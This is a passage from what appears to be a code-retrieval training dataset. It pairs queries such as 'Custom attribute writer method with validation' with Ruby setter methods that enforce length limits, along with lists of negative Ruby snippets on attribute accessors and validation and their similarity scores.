"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def method_missing(method_name, *args)\n method_match, attribute_name, equal_sign = method_name.to_s.match(/\\A([^=]+)(=)?\\Z/).to_a\n if attribute_name && self.class.valid_attributes.include?(attribute_name.to_sym)\n if equal_sign \n attributes[attribute_name.to_sym] = args.first\n else\n attributes[attribute_name.to_sym]\n end\n else\n super\n end\n end",
"def attribute; end"
] | [
"0.6469466",
"0.63154924",
"0.63154924",
"0.62801963",
"0.6276904",
"0.6209469",
"0.6185987",
"0.6180369",
"0.6069702",
"0.60325414",
"0.5996202",
"0.5990781",
"0.59591186",
"0.5935022",
"0.59287345",
"0.5892344",
"0.58594006",
"0.58489454",
"0.5847319",
"0.5844102",
"0.58309245",
"0.58234525",
"0.5821743",
"0.578401",
"0.57033354",
"0.56943",
"0.5678991",
"0.5676746",
"0.566351",
"0.56564575",
"0.56547743",
"0.5639536",
"0.56198114",
"0.561275",
"0.56096065",
"0.5598718",
"0.55965704",
"0.5595575",
"0.55836296",
"0.5583188",
"0.5582274",
"0.5568424",
"0.5566351",
"0.5564544",
"0.5563798",
"0.556157",
"0.5559787",
"0.5559787",
"0.55586964",
"0.55549264",
"0.55549264",
"0.55371714",
"0.5533541",
"0.55256367",
"0.5525553",
"0.55208707",
"0.5504545",
"0.5498023",
"0.5494999",
"0.54942703",
"0.5463716",
"0.5460371",
"0.545971",
"0.54507726",
"0.544683",
"0.544683",
"0.54346514",
"0.5431235",
"0.5431235",
"0.54237705",
"0.5420334",
"0.54133177",
"0.5408093",
"0.54058015",
"0.540229",
"0.53987634",
"0.53976214",
"0.5389599",
"0.5381615",
"0.537715",
"0.5374951",
"0.5372736",
"0.5369188",
"0.536673",
"0.53626937",
"0.5361245",
"0.5357287",
"0.5349714",
"0.5349563",
"0.53483653",
"0.53470504",
"0.5343208",
"0.5329236",
"0.5329236",
"0.53199697",
"0.53199697",
"0.53199697",
"0.5319374",
"0.53168637",
"0.53128254",
"0.53120893"
] | 0.0 | -1 |
Custom attribute writer method with validation | def home_email=(home_email)
if !home_email.nil? && home_email.to_s.length > 250
fail ArgumentError, "invalid value for 'home_email', the character length must be smaller than or equal to 250."
end
@home_email = home_email
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def home_extension=(home_extension)
if !home_extension.nil? && home_extension.to_s.length > 10
fail ArgumentError, "invalid value for 'home_extension', the character length must be smaller than or equal to 10."
end
@home_extension = home_extension
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
